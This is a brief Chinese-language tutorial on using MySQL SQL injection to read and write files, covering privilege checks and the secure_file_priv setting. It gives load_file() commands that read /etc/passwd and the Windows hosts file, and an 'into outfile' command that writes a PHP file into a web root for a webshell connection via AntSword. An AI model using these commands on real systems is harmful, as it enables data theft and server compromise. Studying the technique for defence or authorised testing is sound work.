SQL 注入读写文件
权限
当前(连接)数据库的用户具有文件读写权限。数据库的权限粒度,某个库中某个表某个用户是否有增删改查权限。
查看当前用户
MySQL 数据库用户,例如root@localhost,由两部分组成:
- 用户名
- 地址
select user()
查看文件权限
在 mysql.user
表中查看 file_priv
,使用限定条件 user
和 host
筛选
显示 Y
说明有文件权限
安全选项
MySQL 数据库有关于文件读写的安全选项secure_file_priv。 secure_file_priv 参数限制了mysqld(MySQL DBMS) 的导入导出操作,这个选项是不能利用SQL 语句修改,必须修改my.ini 配置文件,并重启 mysql 数据库。
SHOW VARIABLES LIKE 'secure_file_priv';
参数 | 含义 |
---|---|
secure_file_priv=NULL | 限制mysqld 不允许导入导出操作。 |
secure_file_priv=‘c:/a/’ | 会限制mysqld 的导入导出操作在某个固定目录下, 并且子目录有效。 |
secure_file_priv= | 不对mysqld 的导入导出操作做限制。 |
读取文件
使用load_file()
函数。
select load_file("c:\\windows\\system32\\drivers\\etc\\hosts")
select load_file("c:/windows/system32/drivers/etc/hosts")
select load_file("/etc/passwd")
写入文件
使用into outfile
语句。
select column1,column2 into outfile "c:/phpstudy_2016/www/1.php"
进入目标机器 www 目录下查看
蚁剑连接